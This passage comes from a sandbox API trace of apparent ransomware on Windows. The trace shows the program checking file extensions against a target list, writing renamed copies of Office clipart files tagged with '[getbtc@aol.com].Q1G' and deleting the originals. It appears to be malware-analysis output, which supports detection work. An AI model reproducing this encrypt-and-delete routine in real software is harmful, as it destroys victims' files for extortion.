(hFile=0x3bc) returned 1 [0251.692] CloseHandle (hObject=0x3bc) returned 1 [0251.692] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.692] SetEndOfFile (hFile=0x324) returned 1 [0251.694] CloseHandle (hObject=0x324) returned 1 [0251.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0251.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.694] lstrlenW (lpString=".doc") returned 4 [0251.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.694] lstrlenW (lpString=".docx") returned 5 [0251.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.694] lstrlenW (lpString=".pdf") returned 4 [0251.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.695] lstrlenW (lpString=".xls") returned 4 [0251.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.695] lstrlenW (lpString=".xlsx") returned 5 [0251.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.695] lstrlenW (lpString=".ppt") returned 4 [0251.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.695] lstrlenW (lpString=".zip") returned 4 [0251.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.695] lstrlenW (lpString=".rar") returned 4 [0251.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.695] lstrlenW (lpString=".bz2") returned 4 [0251.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.695] lstrlenW (lpString=".7z") returned 3 [0251.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.695] lstrlenW (lpString=".dbf") returned 4 [0251.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.695] lstrlenW (lpString=".1cd") returned 4 [0251.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.695] lstrlenW (lpString=".jpg") returned 4 [0251.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.695] lstrlenW (lpString=".doc") returned 4 [0251.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.696] lstrlenW (lpString=".docx") returned 5 [0251.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.696] lstrlenW (lpString=".pdf") returned 4 [0251.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.696] lstrlenW (lpString=".xls") returned 4 [0251.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.696] lstrlenW (lpString=".xlsx") returned 5 [0251.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.696] lstrlenW (lpString=".ppt") returned 4 [0251.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.696] lstrlenW (lpString=".zip") returned 4 [0251.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.696] lstrlenW (lpString=".rar") returned 4 [0251.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.696] lstrlenW (lpString=".bz2") returned 4 [0251.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.696] lstrlenW (lpString=".7z") returned 3 [0251.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.696] lstrlenW (lpString=".dbf") returned 4 [0251.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.696] lstrlenW (lpString=".1cd") returned 4 [0251.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0251.696] lstrlenW (lpString=".jpg") returned 4 [0251.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.696] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.696] lstrlenW (lpString="HH00443_.WMF") returned 12 [0251.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.715] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3298) returned 1 [0251.715] CloseHandle (hObject=0x324) returned 1 [0251.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0251.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.746] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.746] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.746] GetLastError () returned 0x0 [0251.746] ReadFile (in: hFile=0x3ac, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xce2, lpOverlapped=0x0) returned 1 [0251.748] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xcf0, lpOverlapped=0x0) returned 1 [0251.748] ReadFile (in: hFile=0x3ac, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.748] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.749] SetEndOfFile (hFile=0x324) returned 1 [0251.749] CloseHandle (hObject=0x324) returned 1 [0251.749] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.749] SetEndOfFile (hFile=0x3ac) returned 1 [0251.751] CloseHandle (hObject=0x3ac) returned 1 [0251.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0251.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.819] lstrlenW (lpString=".doc") returned 4 [0251.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.819] lstrlenW (lpString=".docx") returned 5 [0251.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.819] lstrlenW (lpString=".pdf") returned 4 [0251.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.819] lstrlenW (lpString=".xls") returned 4 [0251.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.819] lstrlenW (lpString=".xlsx") returned 5 [0251.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.819] lstrlenW (lpString=".ppt") returned 4 [0251.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.819] lstrlenW (lpString=".zip") returned 4 [0251.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.820] lstrlenW (lpString=".rar") returned 4 [0251.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.820] lstrlenW (lpString=".bz2") returned 4 [0251.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.820] lstrlenW (lpString=".7z") returned 3 [0251.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.820] lstrlenW (lpString=".dbf") returned 4 [0251.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.820] lstrlenW (lpString=".1cd") returned 4 [0251.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.820] lstrlenW (lpString=".jpg") returned 4 [0251.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.820] lstrlenW (lpString=".doc") returned 4 [0251.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.820] lstrlenW (lpString=".docx") returned 5 [0251.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.820] lstrlenW (lpString=".pdf") returned 4 [0251.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.820] lstrlenW (lpString=".xls") returned 4 [0251.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.820] lstrlenW (lpString=".xlsx") returned 5 [0251.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.821] lstrlenW (lpString=".ppt") returned 4 [0251.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.821] lstrlenW (lpString=".zip") returned 4 [0251.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.821] lstrlenW (lpString=".rar") returned 4 [0251.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.821] lstrlenW (lpString=".bz2") returned 4 [0251.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.821] lstrlenW (lpString=".7z") returned 3 [0251.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.821] lstrlenW (lpString=".dbf") returned 4 [0251.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.821] lstrlenW (lpString=".1cd") returned 4 [0251.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0251.821] lstrlenW (lpString=".jpg") returned 4 [0251.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.821] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.821] lstrlenW (lpString="HH00602_.WMF") returned 12 [0251.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.822] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1400) returned 1 [0251.822] CloseHandle (hObject=0x390) returned 1 [0251.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0251.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.822] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.822] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.823] GetLastError () returned 0x0 [0251.823] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x578, lpOverlapped=0x0) returned 1 [0251.837] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x580, lpOverlapped=0x0) returned 1 [0251.838] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.838] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.838] SetEndOfFile (hFile=0x324) returned 1 [0251.838] CloseHandle (hObject=0x324) returned 1 [0251.838] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.838] SetEndOfFile (hFile=0x390) returned 1 [0251.840] CloseHandle (hObject=0x390) returned 1 [0251.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0251.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.976] lstrlenW (lpString=".doc") returned 4 [0251.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString=".docx") returned 5 [0251.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.977] lstrlenW (lpString=".pdf") returned 4 [0251.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString=".xls") returned 4 [0251.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.977] lstrlenW (lpString=".xlsx") returned 5 [0251.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.977] lstrlenW (lpString=".ppt") returned 4 [0251.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.977] lstrlenW (lpString=".zip") returned 4 [0251.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.977] lstrlenW (lpString=".rar") returned 4 [0251.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString=".bz2") returned 4 [0251.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString=".7z") returned 3 [0251.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.977] lstrlenW (lpString=".dbf") returned 4 [0251.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.977] lstrlenW (lpString=".1cd") returned 4 [0251.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.977] lstrlenW (lpString=".jpg") returned 4 [0251.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.977] lstrlenW (lpString=".doc") returned 4 [0251.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.977] lstrlenW (lpString=".docx") returned 5 [0251.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.978] lstrlenW (lpString=".pdf") returned 4 [0251.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.978] lstrlenW (lpString=".xls") returned 4 [0251.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.978] lstrlenW (lpString=".xlsx") returned 5 [0251.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.978] lstrlenW (lpString=".ppt") returned 4 [0251.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.978] lstrlenW (lpString=".zip") returned 4 [0251.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.978] lstrlenW (lpString=".rar") returned 4 [0251.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.978] lstrlenW (lpString=".bz2") returned 4 [0251.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.978] lstrlenW (lpString=".7z") returned 3 [0251.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.978] lstrlenW (lpString=".dbf") returned 4 [0251.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.978] lstrlenW (lpString=".1cd") returned 4 [0251.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0251.978] lstrlenW (lpString=".jpg") returned 4 [0251.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.978] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.978] lstrlenW (lpString="HH01015_.WMF") returned 12 [0251.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.036] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1148) returned 1 [0252.044] CloseHandle (hObject=0x394) returned 1 [0252.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0252.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.095] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.095] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0252.394] GetLastError () returned 0x0 [0252.394] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x47c, lpOverlapped=0x0) returned 1 [0252.395] WriteFile (in: hFile=0x20c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x480, lpOverlapped=0x0) returned 1 [0252.396] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.396] WriteFile (in: hFile=0x20c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.396] SetEndOfFile (hFile=0x20c) returned 1 [0252.397] CloseHandle (hObject=0x20c) returned 1 [0252.397] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.397] SetEndOfFile (hFile=0x394) returned 1 [0252.399] CloseHandle (hObject=0x394) returned 1 [0252.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 